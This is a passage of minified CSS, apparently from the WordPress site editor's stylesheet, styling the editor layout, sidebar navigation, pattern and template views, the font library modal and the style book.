svg{display:none}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.edit-site-page{background:#fff;color:#2f2f2f;container:edit-site-page/inline-size;height:100%}@media not (prefers-reduced-motion){.edit-site-page{transition:width .2s ease-out}}.edit-site-page-header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0;z-index:2}@media not (prefers-reduced-motion){.edit-site-page-header{transition:padding .1s ease-out}}.edit-site-page-header .components-heading{color:#1e1e1e}.edit-site-page-header .edit-site-page-header__page-title{min-height:40px}.edit-site-page-header .edit-site-page-header__page-title .components-heading{flex-basis:0;flex-grow:1;white-space:nowrap}.edit-site-page-header .edit-site-page-header__sub-title{margin-bottom:8px}@container (max-width: 430px){.edit-site-page-header{padding:16px 24px}}.edit-site-page-content{display:flex;flex-flow:column;height:100%;position:relative;z-index:1}.edit-site-patterns__delete-modal{width:384px}.page-patterns-preview-field{align-items:center;border-radius:4px;display:flex;flex-direction:column;height:100%;justify-content:center}.dataviews-view-grid .page-patterns-preview-field .block-editor-block-preview__container{height:100%}.dataviews-view-table .page-patterns-preview-field{flex-grow:0;text-wrap:balance;text-wrap:pretty;width:96px}.edit-site-patterns__pattern-icon{fill:var(--wp-block-synced-color);flex-shrink:0}.edit-site-patterns__section-header{border-bottom:1px solid #f0f0f0;flex-shrink:0;min-height:40px;padding:16px 48px;position:sticky;top:0;z-index:2}@media not (prefers-reduced-motion){.edit-site-patterns__section-header{transition:padding .1s ease-out}}.edit-site-patterns__section-header .edit-site-patterns__title{min-height:40px}.edit-site-patterns__section-header .edit-site-patterns__title .components-heading{flex-basis:0;flex-grow:1;white-space:nowrap}.edit-site-patterns__section-header .edit-site-patterns__sub-title{margin-bottom:8px}.edit-site-patterns__section-header .screen-reader-shortcut:focus{top:0}.edit-site-page-patterns-dataviews .dataviews-view-grid__badge-fields .dataviews-view-grid__field-value:has(.edit-site-patterns__field-sync-status-fully){background:rgba(var(--wp-block-synced-color--rgb),.04);color:var(--wp-block-synced-color)}.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{width:350px}.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{position:relative}.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;max-height:96px;min-width:auto;position:absolute;right:-1px;width:calc(100% + 2px);z-index:1}@media (min-width:600px){.dataviews-action-modal__duplicate-template-part .components-modal__frame{max-width:500px}}@container (max-width: 430px){.edit-site-page-patterns-dataviews .edit-site-patterns__section-header{padding-left:24px;padding-right:24px}}.page-templates-preview-field{align-items:center;border-radius:4px;display:flex;flex-direction:column;height:100%;justify-content:center;width:100%}.dataviews-view-list .page-templates-preview-field .block-editor-block-preview__container{height:120px}.dataviews-view-grid .page-templates-preview-field .block-editor-block-preview__container{height:100%}.dataviews-view-table .page-templates-preview-field{max-height:160px;position:relative;text-wrap:balance;text-wrap:pretty;width:120px}.dataviews-view-table .page-templates-preview-field:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.page-templates-description{max-width:50em;text-wrap:balance;text-wrap:pretty}.dataviews-view-table .page-templates-description{display:block;margin-bottom:8px}.edit-site-page-templates .dataviews-pagination{z-index:2}.page-templates-author-field__avatar{align-items:center;display:flex;flex-shrink:0;height:24px;justify-content:right;overflow:hidden;width:24px}.page-templates-author-field__avatar img{border-radius:100%;height:16px;object-fit:cover;opacity:0;width:16px}@media not (prefers-reduced-motion){.page-templates-author-field__avatar img{transition:opacity .1s linear}}.page-templates-author-field__avatar.is-loaded img{opacity:1}.page-templates-author-field__icon{display:flex;flex-shrink:0;height:24px;width:24px}.page-templates-author-field__icon svg{margin-right:-4px;fill:currentColor}.page-templates-author-field__name{overflow:hidden;text-overflow:ellipsis}.edit-site-list__rename-modal{z-index:1000001}@media (min-width:782px){.edit-site-list__rename-modal .components-base-control{width:320px}}.edit-site-editor__editor-interface{opacity:1}@media not (prefers-reduced-motion){.edit-site-editor__editor-interface{transition:opacity .1s ease-out}}.edit-site-editor__editor-interface.is-loading{opacity:0}.edit-site-editor__toggle-save-panel{background-color:#fff;border:1px dotted #ddd;box-sizing:border-box;display:flex;justify-content:center;padding:24px;width:280px}.edit-site-editor__view-mode-toggle{view-transition-name:toggle;height:60px;right:0;top:0;width:60px;z-index:100}.edit-site-editor__view-mode-toggle .components-button{align-items:center;border-radius:0;color:#fff;display:flex;height:100%;justify-content:center;overflow:hidden;padding:0;width:100%}.edit-site-editor__view-mode-toggle .components-button:active,.edit-site-editor__view-mode-toggle .components-button:hover{color:#fff}.edit-site-editor__view-mode-toggle .components-button:focus{box-shadow:none}.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon img,.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon svg{background:#1e1e1e;display:block}.edit-site-editor__back-icon{align-items:center;background-color:#ccc;display:flex;height:60px;justify-content:center;pointer-events:none;position:absolute;right:0;top:0;width:60px}.edit-site-editor__back-icon svg{fill:currentColor}.edit-site-editor__back-icon.has-site-icon{-webkit-backdrop-filter:saturate(180%) blur(15px);backdrop-filter:saturate(180%) blur(15px);background-color:#fff9}.edit-site-welcome-guide{width:312px}.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image,.edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{background:#00a0d2}.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{border-left:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{border-right:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide__image{margin:0 0 16px}.edit-site-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-site-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-site-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-site-welcome-guide__text img{vertical-align:bottom}.edit-site-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-site-layout{color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{background:#1e1e1e}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:300px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;position:fixed!important;right:0;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{left:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{display:flex;flex-direction:column;position:relative;width:100%;z-index:2}.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{padding:0}.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{padding:0 12px}.edit-site-layout__canvas-container{flex-grow:1;overflow:visible;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;position:absolute;right:0;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas .edit-site-resizable-frame__inner{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;overflow:hidden}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{transition:border-radius,box-shadow .4s}}@media (min-width:782px){.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{border-radius:8px}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}html.canvas-mode-edit-transition::view-transition-group(toggle){animation-delay:255ms}@media (prefers-reduced-motion){::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){animation:none!important}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{display:none}.edit-site-layout__view-mode-toggle.components-button{view-transition-name:toggle;align-items:center;background:#1e1e1e;border-radius:0;color:#fff;display:flex;height:60px;justify-content:center;overflow:hidden;padding:0;position:relative;width:60px}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{box-shadow:0 0 0 3px #1e1e1e,0 0 0 6px var(--wp-admin-theme-color);outline:4px solid #0000;outline-offset:4px}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:9px;top:9px}@media not (prefers-reduced-motion){.edit-site-layout__view-mode-toggle.components-button:before{transition:box-shadow .1s ease}}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;display:flex;height:60px;justify-content:center;width:60px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:0;position:fixed!important;right:auto;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-right:1px solid #ddd}}.edit-site-layout__area{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 0 16px 16px}}.edit-site .components-editor-notices__snackbar{bottom:16px;left:0;padding-left:16px;padding-right:16px;position:fixed}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{contain:content;flex-grow:1;overflow-x:hidden;overflow-y:auto}@keyframes _x51ri_slide-from-right{0%{opacity:0;transform:translateX(-50px)}to{opacity:1;transform:none}}@keyframes _x51ri_slide-from-left{0%{opacity:0;transform:translateX(50px)}to{opacity:1;transform:none}}.edit-site-sidebar__screen-wrapper{animation-duration:.14s;animation-timing-function:ease-in-out;display:flex;flex-direction:column;height:100%;max-height:100%;overflow-x:auto;padding:0 12px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:stable;scrollbar-width:thin;will-change:transform;will-change:transform,opacity}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}@media (prefers-reduced-motion:reduce){.edit-site-sidebar__screen-wrapper{animation-duration:0s}}.edit-site-sidebar__screen-wrapper.slide-from-left{animation-name:_x51ri_slide-from-left}.edit-site-sidebar__screen-wrapper.slide-from-right{animation-name:_x51ri_slide-from-right}.edit-site-sidebar-button{color:#e0e0e0;flex-shrink:0}.edit-site-sidebar-button:focus:not(:disabled){box-shadow:none;outline:none}.edit-site-sidebar-button:focus-visible:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover:not(:disabled,[aria-disabled=true]),.edit-site-sidebar-button:not(:disabled,[aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{color:#f0f0f0}.edit-site-sidebar-navigation-item.components-item{border:none;color:#949494;min-height:40px;padding:8px 16px 8px 6px}.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current=true]{color:#e0e0e0}.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current=true] .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#e0e0e0}.edit-site-sidebar-navigation-item.components-item[aria-current=true]{background:#2f2f2f;color:#fff;font-weight:500}.edit-site-sidebar-navigation-item.components-item:focus-visible{transform:translateZ(0)}.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#949494}.edit-site-sidebar-navigation-item.components-item.with-suffix{padding-left:16px}.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{cursor:grab;padding:8px 0 8px 8px}.edit-site-sidebar-navigation-screen{display:flex;flex-direction:column;overflow-x:unset!important;position:relative}.edit-site-sidebar-navigation-screen__main{flex-grow:1;margin-bottom:16px}.edit-site-sidebar-navigation-screen__main.has-footer{margin-bottom:0}.edit-site-sidebar-navigation-screen__content{padding:0 16px}.edit-site-sidebar-navigation-screen__content .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__content .components-heading{margin-bottom:8px}.edit-site-sidebar-navigation-screen__title-icon{background:#1e1e1e;margin-bottom:8px;padding-bottom:8px;padding-top:48px;position:sticky;top:0;z-index:1}.edit-site-sidebar-navigation-screen__title{flex-grow:1;overflow-wrap:break-word}.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title,.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title .edit-site-sidebar-navigation-screen__title{line-height:32px}.edit-site-sidebar-navigation-screen__actions{display:flex;flex-shrink:0}@media (min-width:782px){.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variation-container{max-width:292px}}.edit-site-global-styles-variation-title{color:#ddd;font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{outline-color:#ffffff0d}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{outline-color:#ffffff26}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{outline-color:#fff}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__footer{background-color:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;gap:0;margin:16px 0 0;padding:8px 16px;position:sticky}.edit-site-sidebar-navigation-screen__footer .edit-site-sidebar-navigation-screen-details-footer{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen__input-control{width:100%}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{background:#2f2f2f}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{background:#2f2f2f!important;color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{border:4px!important}.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{color:#949494}.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{background:none}.sidebar-navigation__more-menu .components-button{color:#e0e0e0}.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{color:#f0f0f0}.edit-site-sidebar-navigation-screen-patterns__group{margin-bottom:24px;margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.edit-site-sidebar-navigation-screen-patterns__group-header{margin-top:16px}.edit-site-sidebar-navigation-screen-patterns__group-header p{color:#949494}.edit-site-sidebar-navigation-screen-patterns__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen-patterns__divider{border-top:1px solid #2f2f2f;margin:16px 0}.edit-site-sidebar-navigation-screen__description{margin:0 0 32px}.edit-site-sidebar-navigation-screen-navigation-menus{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{width:100%}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{white-space:normal}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{margin-top:3px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{padding-left:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button[aria-current]{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:hover{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{display:block;margin-left:auto;margin-right:auto}.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{display:none}.edit-site-sidebar-navigation-screen-main,.edit-site-sidebar-navigation-screen-templates-browse{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-dataviews__group-header{margin-top:32px}.edit-site-sidebar-navigation-screen-dataviews__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-dataviews{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-dataviews__custom-items .edit-site-sidebar-dataviews-dataview-item{padding-left:8px}.edit-site-sidebar-dataviews-dataview-item{border-radius:2px}.edit-site-sidebar-dataviews-dataview-item .edit-site-sidebar-dataviews-dataview-item__dropdown-menu{min-width:auto}.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{color:#e0e0e0}.edit-site-sidebar-dataviews-dataview-item.is-selected{background:#2f2f2f;color:#fff;font-weight:500}.edit-site-site-hub{align-items:center;display:flex;gap:8px;height:60px;justify-content:space-between;margin-left:12px}.edit-site-site-hub__actions{flex-shrink:0}.edit-site-site-hub__view-mode-toggle-container{flex-shrink:0;height:60px;width:60px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{background:#0000}.edit-site-site-hub__title .components-button{color:#e0e0e0;display:block;flex-grow:1;font-size:15px;font-weight:500;margin-right:-4px;overflow:hidden;padding-left:16px;position:relative;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{color:#e0e0e0}.edit-site-site-hub__title .components-button:focus{box-shadow:none;outline:none}.edit-site-site-hub__title .components-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.edit-site-site-hub__title .components-button:after{content:"↗";font-weight:400;left:0;opacity:0;position:absolute}@media not (prefers-reduced-motion){.edit-site-site-hub__title .components-button:after{transition:opacity .1s linear}}.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{opacity:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-site-icon__icon{fill:currentColor;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{padding:12px}.edit-site-site-icon__image{aspect-ratio:1/1;background:#333;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__image{border-radius:0}.edit-site-editor__view-mode-toggle button:focus{position:relative}.edit-site-editor__view-mode-toggle button:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;content:"";display:block;left:0;position:absolute;right:0;top:0;z-index:1}.edit-site-style-book{align-items:stretch;display:flex;flex-direction:column;height:100%}.edit-site-style-book.is-button{border-radius:8px}.edit-site-style-book__iframe{display:block;height:100%;width:100%}.edit-site-style-book__iframe.is-button{border-radius:8px}.edit-site-style-book__iframe.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-style-book__tablist-container{background:#fff;display:flex;flex:none;padding-left:56px;width:100%}.edit-site-style-book__tabpanel{flex:1 0 auto;overflow:auto}.edit-site-editor-canvas-container{background-color:#ddd;height:100%}.edit-site-editor-canvas-container iframe{display:block;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{padding:24px 24px 0}.edit-site-editor-canvas-container__section{background:#fff;border-radius:8px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.edit-site-editor-canvas-container__section{transition:all .3s}}.edit-site-editor-canvas-container__close-button{background:#fff;left:8px;position:absolute;top:8px;z-index:2}.edit-site-post-edit{padding:24px}.edit-site-post-edit.is-empty .edit-site-page-content{align-items:center;display:flex;justify-content:center}.dataforms-layouts-panel__field-dropdown .fields-controls__password{border-top:1px solid #e0e0e0;padding-top:16px}.edit-site-post-list__featured-image{height:100%;object-fit:cover;width:100%}.edit-site-post-list__featured-image-wrapper{border-radius:4px;height:100%;width:100%}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;position:absolute;right:0;top:0;width:100%}.edit-site-post-list__featured-image-button{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.edit-site-post-list__featured-image-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-post-list__status-icon{height:24px;width:24px}.edit-site-post-list__status-icon svg{fill:currentColor;margin-right:-4px}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}.edit-site-push-changes-to-global-styles-control .components-button{justify-content:center;width:100%}@media (min-width:782px){.font-library-modal.font-library-modal{width:65vw}}.font-library-modal .components-modal__header{border-bottom:none}.font-library-modal .components-modal__content{margin-bottom:70px;padding-top:0}.font-library-modal .font-library-modal__subtitle{font-size:11px;font-weight:500;text-transform:uppercase}.font-library-modal .components-navigator-screen{padding:3px}.font-library-modal__tabpanel-layout{margin-top:32px}.font-library-modal__tabpanel-layout .font-library-modal__loading{align-items:center;display:flex;height:100%;justify-content:center;padding-top:120px;position:absolute;right:0;top:0;width:100%}.font-library-modal__footer{background-color:#fff;border-top:1px solid #ddd;bottom:32px;height:70px;margin:0 -32px -32px;padding:16px 32px;position:absolute;width:100%}.font-library-modal__page-selection{font-size:11px;font-weight:500;text-transform:uppercase}@media (min-width:600px){.font-library-modal__page-selection .components-select-control__input{font-size:11px!important;font-weight:500}}.font-library-modal__tabpanel-layout .components-base-control__field{margin-bottom:0}.font-library-modal__fonts-title{font-size:11px;font-weight:600;margin-bottom:0;margin-top:0;text-transform:uppercase}.font-library-modal__fonts-list{margin-bottom:0;margin-top:0}.font-library-modal__fonts-list-item{margin-bottom:0}.font-library-modal__font-card{border:1px solid #e0e0e0;height:auto!important;margin-top:-1px;padding:16px;width:100%}.font-library-modal__font-card:hover{background-color:#f0f0f0}.font-library-modal__font-card .font-library-modal__font-card__name{font-weight:700}.font-library-modal__font-card .font-library-modal__font-card__count{color:#757575}.font-library-modal__font-card .font-library-modal__font-variant_demo-image{display:block;height:24px;width:auto}.font-library-modal__font-card .font-library-modal__font-variant_demo-text{flex-shrink:0;white-space:nowrap}@media not (prefers-reduced-motion){.font-library-modal__font-card .font-library-modal__font-variant_demo-text{transition:opacity .3s ease-in-out}}.font-library-modal__font-variant{border-bottom:1px solid #e0e0e0;padding-bottom:16px}.font-library-modal__tablist-container{background:#fff;border-bottom:1px solid #ddd;margin:0 -32px;padding:0 16px;position:sticky;top:0;z-index:1}.font-library-modal__tablist-container [role=tablist]{margin-bottom:-1px}.font-library-modal__upload-area{align-items:center;display:flex;height:256px!important;justify-content:center;width:100%}button.font-library-modal__upload-area{background-color:#f0f0f0}.font-library-modal__local-fonts{margin:0 auto;width:80%}.font-library-modal__local-fonts .font-library-modal__upload-area__text{color:#757575}.font-library__google-fonts-confirm{align-items:center;display:flex;justify-content:center;margin-top:64px}.font-library__google-fonts-confirm p{line-height:1.4}.font-library__google-fonts-confirm h2{font-size:1.2rem;font-weight:400}.font-library__google-fonts-confirm .components-card{padding:16px;width:400px}.font-library__google-fonts-confirm .components-button{justify-content:center;width:100%}.font-library-modal__select-all{padding:16px 17px 16px 16px}.font-library-modal__select-all .components-checkbox-control__label{padding-right:16px}.edit-site-pagination .components-button.is-tertiary{height:32px;justify-content:center;width:32px}.edit-site-global-styles-variations_item{box-sizing:border-box;cursor:pointer}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{border-radius:2px;outline:1px solid #0000001a;outline-offset:-1px;overflow:hidden;position:relative}@media not (prefers-reduced-motion){.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{transition:outline .1s linear}}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill{height:32px}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill .block-editor-iframe__scale-container{overflow:hidden}.edit-site-global-styles-variations_item:not(.is-active):hover 